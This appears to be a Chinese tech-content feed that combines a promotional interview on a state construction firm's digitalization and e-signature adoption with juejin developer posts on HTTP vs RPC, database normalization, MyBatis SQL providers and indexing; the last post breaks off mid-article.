随后张晋便抛出了一个很基础但是许多人关心的问题:国央企与民营企业在推进数字化转型的过程中,到底有哪些不同?中建四局数字化部总经理符和清结合自己从阿里到国央企的多年经历,从三个维度给出了洞察。

第一重差异在于组织能力。民企极少设置三级及以上机构,扁平化的组织让战略能直达一线。而在中建四局这样的大型国央企,从集团、工程局、公司、分公司到项目部,层级纵深长达五级。同样一句话从顶层发出,穿透层层组织后,不同节点的理解和执行难免产生偏差。
第二重差异体现在实践思路上。民企的数字化往往自下而上生长,一个部门的尝试、一个场景的创新,都可能快速迭代成燎原之火。而国央企更倾向于顶层设计先行——先做蓝图规划,再分解为项目群、项目、产品,层层落地。对于体量庞大、业务复杂的国央企而言,没有清晰的蓝图,就谈不上有序的推进。
第三重差异落在细节管理上。在国央企,业务人员懂业务却难以精准表达需求,技术人员懂技术却无法真正理解业务场景,中间横亘着巨大的认知裂缝。如何有效整合资源、转化需求、把控架构,是国央企在数字化落地中需要投入更多精力的地方。
这三重差异,勾勒出国企数字化转型的独特底色:它注定不是一场快速突围战,而是一场需要穿透层级、统筹规划、弥合裂缝的体系工程。
数字化深水区中的“两张皮”现象
谈及业务与数字化“两张皮”,符和清没有回避。这是建筑行业的老话题,也是真问题——这些年行业上了不少系统,云端工厂、智慧工地、数字看板,一个个新名词落地成屏,挂满了项目部的墙面和电视。但系统是不是真的在用?数据是不是真的在跑?还是说,只是把原来的线下表格搬到了大屏上,看上去热闹,业务该怎么干还是怎么干?这不仅是四局的考题,也是整个行业在数字化深水区绕不开的一道坎。

在符和清看来,这个问题在国央企尤为突出:体系庞大、层级多、角色杂,认知不统一是天然难题。但在四局的实践中,他们摸索出了几个关键的抓手。
首先是“一把手工程”的决心。数字化是一把双刃剑——系统上线意味着流程透明、审计严格,过去能含糊过去的问题都会浮出水面。高层如果没有“认账”的魄力,遇到阻力就容易动摇。“数字化本质是业务重塑,既然要改,就得有从上到下的改革决心。”
其次是IT与业务组织的深度协同。符和清反复强调,数字化绝不能是技术部门的一厢情愿,必须由业务部门来推动。“系统第一版能用就行,关键是业务愿意用起来。”而IT部门要做的,是持续优化、快速响应,确保大家“用得动、改得好”。“只要业务在用,一年不行,两年三年总能磨出来。”
最后是培训与认知的普及。他打了个比方:给农村老太太一个苹果手机,不教不用,最后还是躺在抽屉里。再好的数字化产品,如果员工不理解、不会用,数据不准、流程空转,“两张皮”就自然而生。符和清提到,像四局这种三万人左右的体量,只要数字化系统上线,基本都要组织封闭式的大规模培训,给大家“交底”。通过这种持续渗透,让不同层级的人真正理解系统、用透系统。
这多重解法背后,是一个朴素的认知:数字化从来不是系统上线即告捷,而是人与流程、组织与工具长期磨合、逐步深化的过程。如今在新鸿基广州南站的项目上,数字化已经实打实地用起来了——在中建四局的转型实践中,“务实”正成为越来越清晰的注脚。
不是零敲碎打而是体系推进,数字化路径有章可循
从单点到全链,中建四局率先出招产业互联网先手棋
“建筑产业互联网”,这是一个近年来在行业内热度渐起的词汇——从行业协会连续三年举办产业互联网发展大会,到各地纷纷布局区域级平台,行业共识正在凝聚:建筑业的数字化,正在从单点突破走向全链协同。
符和清介绍到,其实“建筑产业互联网”这个概念,中建早在2020年做“136规划”时就已写入目标——那个“1”,就是要构建产业互联网。
在他的解读里,产业互联网不是新名词包装,而是围绕建筑全生命周期的数字化主线:从勘察、设计、施工,到交付、运维、运营,每一个环节都要有数据贯穿。而作为全球最大的建筑商之一,中建四局有这个体量去整合上中下游的资源协同。
他细数了中建四局目前的进展:内部施工环节已经通过DMP平台实现了数字化,对下游的分包、劳务、供应链协同也基本跑通,上游与政府监管系统也有零星连接。未来的远景目标,是以建筑为单元,连接城市运营,让数据在整个生命周期里真正流转起来。
“中间环节我们自己做通了,上下游也在逐步打通。”符和清说,产业互联网的蓝图,正在从规划一步步走向现实。
从规划到落地:DMP平台承载四局数字化蓝图
在不久前举办的智能建造观摩会上,中建四局正式发布了DMP数字化管理平台,引起行业关注。谈及这个平台的来龙去脉,符和清把它放进了四局数字化转型的整体框架里。
他介绍,三年前做顶层规划时,四局明确了五个数字化方向:管理数字化、生产体系数字化、供应链数字化、项目现场数字化,以及面向未来的全生命周期运营。而DMP平台,正是承载这五大方向的统一载体。
目前DMP的发力点主要有两个维度:横向上,从项目投标开始,贯穿施工、结算到最终运营,让经济数据全链条跑通;纵向上,基于生产现场的管理,把设计图纸、清单量与施工进度绑定,自动算量、算成本、算收入,最终自动呈现真实的利润。
“这个工程难度相当大,在全行业来看,中建也是走在前面的。”符和清说。这套平台不仅是对内提效的工具,更是四局构建产业互联网蓝图的关键一步。
不止于提效,e签宝电子签成为四局数字化协同关键
对于体系庞大的建筑行业来说,供应链的数字化非常具有典型性。据符和清介绍,中建四局在供应商资源整合、招采、物流体系及订单管理方面已经相当成熟。从前两年开始,对下游分包环节,尤其是施工队伍,通过DMP平台实现了深度协同;在上游也取得突破,劳务管理、农民工工资发放等环节已基本实现数字化对接。

谈及具体落地成效,符和清特别提到了e签宝电子签章系统带来的变化。目前,e签宝电子用印不仅覆盖了对上游的承包合同和对下游的分包合同这两类核心业务,还在内部管理体系中全面铺开——全局3万人的行政办公,从发文、收文到红头文件用印,已全部实现电子化;下属地产公司等多家单位的对外业务合同也陆续上线使用。

“今年局里已经发了制度和文件,要求未来电子用印全部实现数字化。”符和清说。这套系统不仅解决了传统用印的流程痛点,更成为四局打通上下游协同的“连接器”——从内部办公到外部合同,从上游甲方到下游分包,电子签章让每一份文件的流转都留下了清晰的数字化足迹。
而随着AI能力的深度融入,电子签章正在从“连接器”进化为更智能的合同中枢——从智能审查到风险预警,从合同结构化到履约跟踪,AI让每一枚电子印章背后都有了更强大的支撑。这也正是符和清所说的“小优化叠加”:当AI赋能每一个细碎场景,系统自然跑得更顺、更高效。

数字化不是一场立竿见影的技术革命,而是一场需要穿透层级、统筹规划、弥合裂缝的体系工程。它既需要顶层设计的定力,也需要一线落地的韧性;既需要一把手工程的决心,也需要业务与IT的长期磨合。而AI的加入,正在让每一个“齿轮”的优化变得更快、更准。
在这场建筑行业深刻的数字化变革中,e签宝很荣幸成为中建四局数字化拼图中的一块——从内部办公到外部合同,从上游甲方到下游分包,电子签章已成为打通产业链协同的“连接器”。从电子签章到智能合同Agent,e签宝正从电子签名服务商进化为AI驱动型数字信任基础设施提供商。未来,e签宝将继续以AI赋能、以可信筑基,助力更多企业从单点提效走向全链协同,共同见证产业互联网从蓝图走向现实。
收起阅读 »说说 HTTP 和 RPC 的区别是什么?
说说 HTTP 和 RPC 的区别是什么?
2026年02月02日
面试考察点
面试官提出这个问题,主要想考察以下几个层面:
- 对通信方式本质的理解:不仅仅是背诵概念,而是能否清晰地说出 HTTP 和 RPC 在通信模型、协议栈上的根本性差异。
- 序列化与性能的权衡:是否了解它们背后不同的序列化方式(如 JSON/XML vs Protobuf/Hessian)及其对性能、体积和开发效率的影响。
- 设计哲学与适用场景:能否理解它们不同的设计目标(通用 Web 标准 vs 高效内部服务通信),并据此分析各自的适用场景。
- 架构视野:在微服务或分布式系统架构的背景下,能否结合实际,阐述技术选型的思考,体现将理论知识应用于工程实践的能力。
核心答案
HTTP 和 RPC 的核心区别在于:HTTP 是一个通用的、无状态的、应用层的网络协议标准,而 RPC 是一种旨在实现像调用本地方法一样调用远程服务的框架或设计模式。
更直接地说:
- HTTP 是一种协议,定义了客户端与服务器之间通信的通用格式和规则(如 URL、Method、Header、Body),其设计初衷是为了万维网(Web)的超文本传输,现已广泛用于构建 RESTful API。
- RPC 是一种概念/框架,其核心目标是让开发者无感知地调用远程服务。为了实现这个目标,一个完整的 RPC 框架通常会自定义或封装底层通信协议(可能基于 TCP,也可能基于 HTTP) ,并集成高效的二进制序列化、服务发现、负载均衡、熔断降级等分布式服务治理能力。
简言之,你可以 “用 HTTP 协议来实现一种 RPC” (如 gRPC over HTTP/2),但并非所有 RPC 都必须使用 HTTP 协议。
深度解析
原理/机制
- HTTP:基于经典的 请求-响应 (Request-Response) 模型。通常使用文本格式(如 JSON/XML)序列化数据,协议头(Header)庞大且冗余(如 Cookie、Cache-Control 等 Web 特性字段),但其无状态和标准化的特点使其非常适合跨网络、跨语言的开放 API 场景。
- RPC:目标是实现 “透明远程过程调用” 。一个完整的 RPC 调用过程包括:
- 客户端代理(Stub) 将方法名和参数序列化;
- 通过网络传输到服务器;
- 服务端骨架(Skeleton) 反序列化并调用实际方法;
- 将结果序列化返回。其底层通信协议通常追求更高的性能和紧凑性,例如使用自定义的二进制协议。
对比分析
| 维度 | HTTP (以 RESTful API 为例) | RPC (以典型框架如 Dubbo, gRPC 为例) |
|---|---|---|
| 通信协议 | 主要基于应用层的 HTTP/1.1 或 HTTP/2 协议。 | 通常基于传输层的 TCP 自定义二进制协议,或基于 HTTP/2 (如 gRPC)。 |
| 序列化 | 通常使用人类可读的 JSON、XML 等文本格式。序列化/反序列化开销较大。 | 通常使用高效的二进制格式,如 Protobuf、Hessian、Kryo。体积小,速度快。 |
| 性能 | 协议头较大,序列化效率较低,性能开销相对较高。HTTP/2 通过多路复用等特性大幅改善了性能。 | 专为高效内部通信设计,协议精简,序列化高效,性能通常优于 HTTP/1.1。 |
| 连接与交互 | 传统的 HTTP/1.1 是 “一问一答”,多个请求需要多个连接或串行。HTTP/2 支持连接复用和流。 | 通常支持连接复用、异步调用和流式处理,交互模式更灵活高效。 |
| 服务治理 | 需要额外集成组件(如客户端负载均衡器 Ribbon、服务发现 Eureka)来实现完整的治理。 | 框架原生集成了服务发现、负载均衡、熔断、限流等治理能力,开箱即用。 |
| 适用场景 | 对外的开放 API、需要被多种异构客户端(浏览器、移动端、第三方)调用的服务、简单快速的微服务原型。 | 大规模的内部微服务集群、对性能有极高要求的系统、需要复杂服务治理的分布式系统。 |
代码示例
一个简单的感受:调用一个 “获取用户信息” 的服务。
// 使用 HTTP (RestTemplate) 调用
// 开发者需要关注 URL、HTTP 方法、请求体/参数的组装
User user = restTemplate.getForObject("http://user-service/users/123", User.class);
// 使用 RPC (以 Dubbo 接口为例)
// 开发者像调用本地接口一样直接调用,框架隐藏了所有网络细节
@Reference
private UserService userService; // 远程服务的本地代理
public User getUser() {
return userService.getUserById(123L); // 看起来和本地调用无异
}
最佳实践与常见误区
- 最佳实践:
- 内外有别:对公网暴露的 API 优先使用 HTTP (RESTful) ,因其标准、通用、易于调试(用 curl 或浏览器即可)、防火墙友好。内部服务间调用,尤其是性能敏感、调用链路长的场景,优先考虑 RPC 以获得更好的性能和治理能力。
- 不唯技术论:技术选型需权衡团队技术栈、维护成本、生态集成度。Spring Cloud 生态的 OpenFeign(基于 HTTP)在中小规模下,凭借其与 Spring 的无缝集成,开发体验和效率可能优于引入一套独立的 RPC 框架。
- 常见误区:
- 误区一:HTTP 和 RPC 是完全对立的。实际上,gRPC 就是一个完美的反例,它既是强大的 RPC 框架,又使用 HTTP/2 作为传输协议,结合了二者的优势。
- 误区二:HTTP 性能一定差。HTTP/2 在性能上有了质的飞跃(头部压缩、多路复用、服务端推送),使其在不少场景下足以替代传统的 RPC 协议。
- 误区三:RPC 一定比 HTTP 复杂。对于调用方开发者而言,RPC 的接口式编程模型反而更简单直观。复杂性主要转移到了框架的部署和维护上。
总结
HTTP 是通用网络协议,适合构建开放、标准化的 Web API;而 RPC 是远程调用框架模式,旨在为内部服务提供高效、透明、治理完善的调用体验。在现代架构中,二者边界正在模糊(如 gRPC),关键在于根据 “场景”(内外网、性能要求) 和 “生态”(团队、基础设施) 做出最合适的选择。
来源:juejin.cn/post/7601444617695543306
字节2面:为了性能,你会违反数据库三范式吗?
大家好,我是猿java。
数据库的三大范式,它是数据库设计中最基本的三个规范,那么,三大范式是什么?在实际开发中,我们一定要严格遵守三大范式吗?这篇文章,我们一起来聊一聊。
1. 三大范式
1. 第一范式(1NF,确保每列保持原子性)
第一范式要求数据库中的每个表格的每个字段(列)都具有原子性,即字段中的值不可再分割。换句话说,每个字段只能存储一个单一的值,不能包含集合、数组或重复的组。
如下示例: 假设有一个学生表 Student,结构如下:
| 学生ID | 姓名 | 电话号码 |
|---|---|---|
| 1 | 张三 | 123456789, 987654321 |
| 2 | 李四 | 555555555 |
在这个表中,电话号码字段包含多个号码,违反了1NF的原子性要求。为了满足1NF,需要将电话号码拆分为单独的记录或创建一个新的表。
满足 1NF后的设计:
学生表 Student
| 学生ID | 姓名 |
|---|---|
| 1 | 张三 |
| 2 | 李四 |
电话表 Phone
| 电话ID | 学生ID | 电话号码 |
|---|---|---|
| 1 | 1 | 123456789 |
| 2 | 1 | 987654321 |
| 3 | 2 | 555555555 |
1.2 第二范式(2NF,确保表中的每列都和主键相关)
第二范式要求满足第一范式,并且消除表中的部分依赖,即非主键字段必须完全依赖于主键,而不是仅依赖于主键的一部分。这主要适用于复合主键的情况。
如下示例:假设有一个订单详情表 OrderDetail,结构如下:
| 订单ID | 商品ID | 商品名称 | 数量 | 单价 |
|---|---|---|---|---|
| 1001 | A01 | 苹果 | 10 | 2.5 |
| 1001 | A02 | 橙子 | 5 | 3.0 |
| 1002 | A01 | 苹果 | 7 | 2.5 |
在上述表中,主键是复合主键 (订单ID, 商品ID)。商品名称和单价只依赖于复合主键中的商品ID,而不是整个主键,存在部分依赖,违反了2NF。
满足 2NF后的设计:
订单详情表 OrderDetail
| 订单ID | 商品ID | 数量 |
|---|---|---|
| 1001 | A01 | 10 |
| 1001 | A02 | 5 |
| 1002 | A01 | 7 |
商品表 Product
| 商品ID | 商品名称 | 单价 |
|---|---|---|
| A01 | 苹果 | 2.5 |
| A02 | 橙子 | 3.0 |
1.3 第三范式(3NF,确保每列都和主键列直接相关,而不是间接相关)
第三范式要求满足第二范式,并且消除表中的传递依赖,即非主键字段不应依赖于其他非主键字段。换句话说,所有非主键字段必须直接依赖于主键,而不是通过其他非主键字段间接依赖。
如下示例:假设有一个员工表 Employee,结构如下:
| 员工ID | 员工姓名 | 部门ID | 部门名称 |
|---|---|---|---|
| E01 | 王五 | D01 | 销售部 |
| E02 | 赵六 | D02 | 技术部 |
| E03 | 孙七 | D01 | 销售部 |
在这个表中,部门名称依赖于部门ID,而部门ID依赖于主键员工ID,形成了传递依赖,违反了3NF。
满足3NF后的设计:
员工表 Employee
| 员工ID | 员工姓名 | 部门ID |
|---|---|---|
| E01 | 王五 | D01 |
| E02 | 赵六 | D02 |
| E03 | 孙七 | D01 |
部门表 Department
| 部门ID | 部门名称 |
|---|---|
| D01 | 销售部 |
| D02 | 技术部 |
通过将部门信息移到单独的表中,消除了传递依赖,使得数据库结构符合第三范式。
最后,我们总结一下数据库设计的三大范式:
- 第一范式(1NF): 确保每个字段的值都是原子性的,不可再分。
- 第二范式(2NF): 在满足 1NF的基础上,消除部分依赖,确保非主键字段完全依赖于主键。
- 第三范式(3NF): 在满足 2NF的基础上,消除传递依赖,确保非主键字段直接依赖于主键。
2. 破坏三范式
在实际工作中,尽管遵循数据库的三大范式(1NF、2NF、3NF)有助于提高数据的一致性和减少冗余,但在某些情况下,为了满足性能、简化设计或特定业务需求,我们可能需要违反这些范式。
下面列举了一些常见的破坏三范式的原因及对应的示例。
2.1 性能优化
在高并发、大数据量的应用场景中,严格遵循三范式可能导致频繁的联表查询,增加查询时间和系统负载。为了提高查询性能,设计者可能会通过冗余数据来减少联表操作。
假设有一个电商系统,包含订单表 Orders 和用户表 Users。在严格 3NF设计中,订单表只存储 用户ID,需要通过联表查询获取用户的详细信息。
但是,为了查询性能,我们通常会在订单表中冗余存储 用户姓名 和 用户地址等信息,因此,查询订单信息时无需联表查询 Users 表,从而提升查询速度。
破坏 3NF后的设计:
| 订单ID | 用户ID | 用户姓名 | 用户地址 | 订单日期 | 总金额 |
|---|---|---|---|---|---|
| 1001 | U01 | 张三 | 北京市 | 2023-10-01 | 500元 |
| 1002 | U02 | 李四 | 上海市 | 2023-10-02 | 300元 |
2.2 简化查询和开发
严格规范化可能导致数据库结构过于复杂,增加开发和维护的难度,为了简化查询逻辑和减少开发复杂度,我们也可能会选择适当的冗余。
比如,在内容管理系统(CMS)中,文章表 Articles 和分类表 Categories 通常是独立的,如果频繁需要显示文章所属的分类名称,联表查询可能增加复杂性。因此,通过在 Articles 表中直接存储 分类名称,可以简化前端展示逻辑,减少开发工作量。
破坏 3NF后的设计:
| 文章ID | 标题 | 内容 | 分类ID | 分类名称 |
|---|---|---|---|---|
| A01 | 文章一 | … | C01 | 技术 |
| A02 | 文章二 | … | C02 | 生活 |
2.3 报表和数据仓库
在数据仓库和报表系统中,通常需要快速读取和聚合大量数据。为了优化查询性能和数据分析,可能会采用冗余的数据结构,甚至使用星型或雪花型模式,这些模式并不完全符合三范式。
在销售数据仓库中,为了快速生成销售报表,可能会创建一个包含维度信息的事实表。
破坏 3NF后的设计:
| 销售ID | 产品ID | 产品名称 | 类别 | 销售数量 | 销售金额 | 销售日期 |
|---|---|---|---|---|---|---|
| S01 | P01 | 手机 | 电子 | 100 | 50000元 | 2023-10-01 |
| S02 | P02 | 书籍 | 教育 | 200 | 20000元 | 2023-10-02 |
在事实表中直接存储 产品名称 和 类别,避免了需要联表查询维度表,提高了报表生成的效率。
2.4 特殊业务需求
在某些业务场景下,可能需要快速响应特定的查询或操作,这时通过适当的冗余设计可以满足业务需求。
比如,在实时交易系统中,为了快速计算用户的账户余额,可能会在用户表中直接存储当前余额,而不是每次交易时都计算。
破坏 3NF后的设计:
| 用户ID | 用户名 | 当前余额 |
|---|---|---|
| U01 | 王五 | 10000元 |
| U02 | 赵六 | 5000元 |
在交易记录表中存储每笔交易的增减,但直接在用户表中维护 当前余额,避免了每次查询时的复杂计算。
2.5 兼顾读写性能
在某些应用中,读操作远多于写操作。为了优化读性能,可能会通过数据冗余来提升查询速度,而接受在数据写入时需要额外的维护工作。
社交媒体平台中,用户的好友数常被展示在用户主页上。如果每次请求都计算好友数量,效率低下。可以在用户表中维护一个 好友数 字段。
破坏3NF后的设计:
| 用户ID | 用户名 | 好友数 |
|---|---|---|
| U01 | Alice | 150 |
| U02 | Bob | 200 |
通过在 Users 表中冗余存储 好友数,可以快速展示,无需实时计算。
2.6 快速迭代和灵活性
在快速发展的产品或初创企业中,数据库设计可能需要频繁调整。过度规范化可能导致设计不够灵活,影响迭代速度。适当的冗余设计可以提高开发的灵活性和速度。
一个初创电商平台在初期快速上线,数据库设计时为了简化开发,可能会将用户的收货地址直接存储在订单表中,而不是单独创建地址表。
破坏3NF后的设计:
| 订单ID | 用户ID | 用户名 | 收货地址 | 订单日期 | 总金额 |
|---|---|---|---|---|---|
| O1001 | U01 | 李雷 | 北京市海淀区… | 2023-10-01 | 800元 |
| O1002 | U02 | 韩梅梅 | 上海市浦东新区… | 2023-10-02 | 1200元 |
这样设计可以快速上线,后续根据需求再进行规范化和优化。
2.7 降低复杂性和提高可理解性
有时,过度规范化可能使数据库结构变得复杂,难以理解和维护。适度的冗余可以降低设计的复杂性,提高团队对数据库结构的理解和沟通效率。
在一个学校管理系统中,如果将学生的班级信息独立为多个表,可能增加理解难度。为了简化设计,可以在学生表中直接存储班级名称。
破坏3NF后的设计:
| 学生ID | 姓名 | 班级ID | 班级名称 | 班主任 |
|---|---|---|---|---|
| S01 | 张三 | C01 | 三年级一班 | 李老师 |
| S02 | 李四 | C02 | 三年级二班 | 王老师 |
通过在学生表中直接存储 班级名称 和 班主任,减少了表的数量,简化了设计。
3. 总结
本文,我们分析了数据库的三范式以及对应的示例,它是数据库设计的基本规范。但是,在实际工作中,为了满足性能、简化设计、快速迭代或特定业务需求,我们很多时候并不会严格地遵守三范式。
所以说,架构很多时候都是业务需求、数据一致性、系统性能、开发效率等各种因素权衡的结果,我们需要根据具体应用场景做出合理的设计选择。
4. 学习交流
如果你觉得文章有帮助,请帮忙转发给更多的好友,或关注公众号:猿java,持续输出硬核文章。
来源:juejin.cn/post/7455635421529145359
写了 10 年 MyBatis,一直以为“去 XML”=写注解,直到看到了这个项目
一直对 MyBatis 有个刻板印象:Mapper 接口负责声明方法,Mapper.xml 负责写 SQL。
改条件就去 XML 里 <if test="">,调参数就切换不同文件,从刚开始学到现在用了很久,熟悉得不能再熟悉。
直到最近看到一个项目:我把 resources/mapper 翻了个底朝天,愣是没找到一份 XML。
我第一反应:
“这项目肯定是全用
@Select之类的注解硬写 SQL 了吧。”
结果打开 Mapper:我人傻了。

1)去 XML:@Select
单表按主键查,注解很舒服:
@Select("select * from tb_user where id = #{id}")UserDO selectById(Long id);
但一旦要动态条件,很多人会写成这种:
@Select("" + "select * from tb_user " + "" + " and name like concat('%', #{name}, '%') " + " and age >= #{age} " + "" + "")List list(UserQuery req);
这么些的体验基本是:
- • 字符串拼接看得眼疼
- • 没有 SQL 高亮、格式化也很难受
- • 复杂一点直接维护灾难
所以绝大多数团队最终都会回到 XML——至少 XML 里写动态 SQL 还能接受。
2)去 XML:@SelectProvider
这个项目里 Mapper 长这样:
@SelectProvider(type = UserSqlProvider.class, method = "selectByCondition")List selectByCondition(UserQuery req);
我当时心里一句话:
“Provider?这是什么东东?”
点进 UserSqlProvider,看到的是这种代码:
public class UserSqlProvider { public String selectByCondition(UserQuery req) { return new SQL() {{ SELECT("id, name, age, status, create_time"); FROM("tb_user"); if (req.getName() != null && !req.getName().isBlank()) { WHERE("name like concat('%', #{name}, '%')"); } if (req.getMinAge() != null) { WHERE("age >= #{minAge}"); } if (req.getStatus() != null) { WHERE("status = #{status}"); } ORDER_BY("create_time desc"); }}.toString(); }}
当时我有点惊讶:
SQL()、SELECT()、WHERE() 这些不是自定义工具类,而是 MyBatis 自带的 SQL Builder。
这类写法的本质是:
- • XML 动态 SQL 的能力不变
- • 但“拼 SQL 的载体”从 XML 变成 Java Provider 方法
- • 最终 MyBatis 仍然执行一段 SQL 字符串(只是这段字符串由 builder 组装出来)

3)Provider
解决了什么?
动态条件 + 可读性。
不用在注解字符串里写 <script>、不用手动拼 AND、也不用在 Java/XML 之间跳来跳去。
再比如:动态排序字段(注意做白名单防注入)
public String list(UserQuery req) { return new SQL() {{ SELECT("*"); FROM("tb_user"); if (req.getName() != null && !req.getName().isBlank()) { WHERE("name like concat('%', #{name}, '%')"); } // 排序字段做白名单,避免 order by 注入 if ("create_time".equals(req.getOrderBy())) { ORDER_BY("create_time desc"); } else if ("age".equals(req.getOrderBy())) { ORDER_BY("age desc"); } else { ORDER_BY("id desc"); } }}.toString();}
未能解决
复杂 SQL 的“表达力”问题。
子查询、复杂 join、窗口函数、CTE……你用 builder 也能写,但写着写着就会变成“在 Java 里造 SQL AST”,维护成本可能并不比 XML 低。
我的建议:
- • 中等复杂度动态查询:Provider 很合适
- • 复杂报表 / 多层嵌套:直接写原生 SQL(放 XML 或统一的 SQL 文件)更直观

4)Provider 最容易踩的坑:参数绑定(90% 的报错在这)
4.1 单参数对象:最舒服
List list(UserQuery req);
Provider 里直接 #{name}、#{minAge},对应 req 的属性名即可。
4.2 多参数一定要 @Param,不然会看到奇怪的参数名
@SelectProvider(type = UserSqlProvider.class, method = "get")UserDO get(@Param("id") Long id, @Param("status") Integer status);
Provider 可以收 Map:
public String get(Map p) { return new SQL() {{ SELECT("*"); FROM("tb_user"); WHERE("id = #{id}"); if (p.get("status") != null) { WHERE("status = #{status}"); } }}.toString();}
如果不写 @Param,参数名可能变成 param1/param2 或 arg0/arg1,然后你就开始“有bug,明明传了值怎么为空”。

5)再懒一下:MyBatis-Plus
如果主要场景是单表 CRUD + 条件筛选,MyBatis-Plus 的思路是:尽量别写 SQL,让 Wrapper 来表达条件。
LambdaQueryWrapper w = Wrappers.lambdaQuery();w.like(StringUtils.isNotBlank(req.getName()), UserDO::getName, req.getName()) .ge(req.getMinAge() != null, UserDO::getAge, req.getMinAge()) .eq(req.getStatus() != null, UserDO::getStatus, req.getStatus()); List list = userMapper.selectList(w);
这套东西的价值很明确:
- • 字段引用是方法引用,改字段/重构更安全
- • 大量单表查询不需要写 SQL
- • 团队统一风格之后,开发效率很高
但边界也很明确:复杂 SQL 仍然要回到原生 SQL(XML/Provider/自定义 mapper 都行),Wrapper 不适合硬扛报表类需求。
6)组装 SQL:MyBatis-Flex
如果连 join 都不想写 SQL,更希望用 Java 结构来表达,MyBatis-Flex 这类框架会提供更强的 QueryWrapper/Join 能力。
简单 join 确实很直观:
QueryWrapper q = QueryWrapper.create() .select(ACCOUNT.ID, ACCOUNT.USER_NAME, ROLE.ROLE_NAME) .from(ACCOUNT) .leftJoin(ROLE).on(ACCOUNT.ROLE_ID.eq(ROLE.ID)) .where(ACCOUNT.AGE.ge(18)); List list = accountMapper.selectListByQueryAs(q, AccountDTO.class);
但当你开始写多层子查询/嵌套条件时,可读性很容易被“对象套对象”拉低。
比如“订单金额 > 用户 1 平均订单金额”这种:
// 子查询QueryWrapper sub = QueryWrapper.create() .select(avg(ORDER.TOTAL_PRICE)) .from(ORDER) .where(ORDER.USER_ID.eq(1)); // 主查询QueryWrapper main = QueryWrapper.create() .select(ORDER.ALL_COLUMNS) .from(ORDER) .where(ORDER.TOTAL_PRICE.gt(sub)); List list = orderMapper.selectListByQuery(main);
能写、也类型更安全,但维护者往往需要在脑子里把它“还原成 SQL”再理解意图。嵌套层级越深,这个成本越高。
7)到底怎么选?
参考落地策略:
- • 固定 SQL / 简单单表:
@Select足够 - • 中等动态 SQL(条件多、拼接多,但逻辑清晰):
@SelectProvider + SQL Builder - • 单表 CRUD 为主,追求少写 SQL:MyBatis-Plus
- • Join 多、希望 Java 化表达更强:MyBatis-Flex(嵌套复杂时要克制)
- • 复杂报表 / 多层子查询 / 强声明式:直接原生 SQL(XML/SQL 文件),通常最清晰

Provider 这条路最让我意外:不靠第三方,也不把动态 SQL 写成字符串炼狱,但它也不是用来替代所有 SQL 的。把边界定好,用起来会更舒服。
总之就是在不同场景下面选择合适的技术并确定合理的规范,然后统一按照规范执行就可以啦!
来源:juejin.cn/post/7603656494904737798
索引夺命10连问,你能顶住第几问?
前言
今天我们来聊聊让无数开发者又爱又恨的——数据库索引。
相信不少小伙伴在工作中都遇到过这样的场景:
- 明明已经加了索引,为什么查询还是慢?
- 为什么有时候索引反而导致性能下降?
- 联合索引到底该怎么设计才合理?
别急,今天我就通过10个问题,带你彻底搞懂索引的奥秘!
希望对你会有所帮助。
最近准备面试的小伙伴,可以看一下这个宝藏网站(Java突击队):www.susan.net.cn,里面:面试八股文、场景设计题、面试真题、7个项目实战、工作内推什么都有。
一、什么是索引?为什么需要索引?
1.1 索引的本质
简单来说,索引就是数据的目录。
就像一本书的目录能帮你快速找到内容一样,数据库索引能帮你快速定位数据。
-- 没有索引的查询(全表扫描)
SELECT * FROM users WHERE name = '苏三'; -- 需要遍历所有记录
-- 有索引的查询(索引扫描)
CREATE INDEX idx_name ON users(name);
SELECT * FROM users WHERE name = '苏三'; -- 通过索引快速定位
1.2 索引的工作原理

索引的底层结构(B+树):

二、索引的10个常见问题
1.为什么我加了索引,查询还是慢?
场景还原:
CREATE INDEX idx_name ON users(name);
SELECT * FROM users WHERE name LIKE '%苏三%'; -- 还是很慢!
原因分析:
- 前导通配符:
LIKE '%苏三%导致索引失效 - 索引选择性差:如果name字段大量重复,索引效果不佳
- 回表代价高:索引覆盖不全,需要回表查询
解决方案:
-- 方案1:避免前导通配符
SELECT * FROM users WHERE name LIKE '苏三%';
-- 方案2:使用覆盖索引
CREATE INDEX idx_name_covering ON users(name, id, email);
SELECT name, id, email FROM users WHERE name LIKE '苏三%'; -- 不需要回表
-- 方案3:使用全文索引(对于文本搜索)
CREATE FULLTEXT INDEX ft_name ON users(name);
SELECT * FROM users WHERE MATCH(name) AGAINST('苏三');
2.索引是不是越多越好?
绝对不是! 索引需要维护代价:
-- 每个索引都会影响写性能
INSERT INTO users (name, email, age) VALUES ('苏三', 'susan@example.com', 30);
-- 需要更新:
-- 1. 主键索引
-- 2. idx_name索引(如果存在)
-- 3. idx_email索引(如果存在)
-- 4. idx_age索引(如果存在)
索引的代价:
- 存储空间:每个索引都需要额外的磁盘空间
- 写操作变慢:INSERT/UPDATE/DELETE需要维护所有索引
- 优化器负担:索引太多会增加查询优化器的选择难度
黄金法则:一般建议表的索引数量不超过5-7个
3.联合索引的最左前缀原则是什么?
最左前缀原则:联合索引只能从最左边的列开始使用
-- 创建联合索引
CREATE INDEX idx_name_age ON users(name, age);
-- 能使用索引的查询
SELECT * FROM users WHERE name = '苏三'; -- √ 使用索引
SELECT * FROM users WHERE name = '苏三' AND age = 30; -- √ 使用索引
SELECT * FROM users WHERE age = 30 AND name = '苏三'; -- √ 优化器会调整顺序
-- 不能使用索引的查询
SELECT * FROM users WHERE age = 30; -- × 不符合最左前缀
联合索引结构:

4.如何选择索引字段的顺序?
选择原则:
- 高选择性字段在前:选择性高的字段能更快过滤数据
- 经常查询的字段在前:优先满足常用查询场景
- 等值查询在前,范围查询在后
-- 计算字段选择性
SELECT
COUNT(DISTINCT name) / COUNT(*) as name_selectivity,
COUNT(DISTINCT age) / COUNT(*) as age_selectivity,
COUNT(DISTINCT city) / COUNT(*) as city_selectivity
FROM users;
-- 根据选择性决定索引顺序
CREATE INDEX idx_name_city_age ON users(name, city, age); -- name选择性最高
5.什么是覆盖索引?为什么重要?
覆盖索引:索引包含了查询需要的所有字段,不需要回表查询
-- 不是覆盖索引(需要回表)
CREATE INDEX idx_name ON users(name);
SELECT * FROM users WHERE name = '苏三'; -- 需要回表查询其他字段
-- 覆盖索引(不需要回表)
CREATE INDEX idx_name_covering ON users(name, email, age);
SELECT name, email, age FROM users WHERE name = '苏三'; -- 所有字段都在索引中
覆盖索引的优势:
- 避免回表:减少磁盘IO
- 减少内存占用:只需要读取索引页
- 提升性能:查询速度更快
6.NULL值对索引有什么影响?
NULL值的问题:
-- 创建索引
CREATE INDEX idx_email ON users(email);
-- 查询NULL值
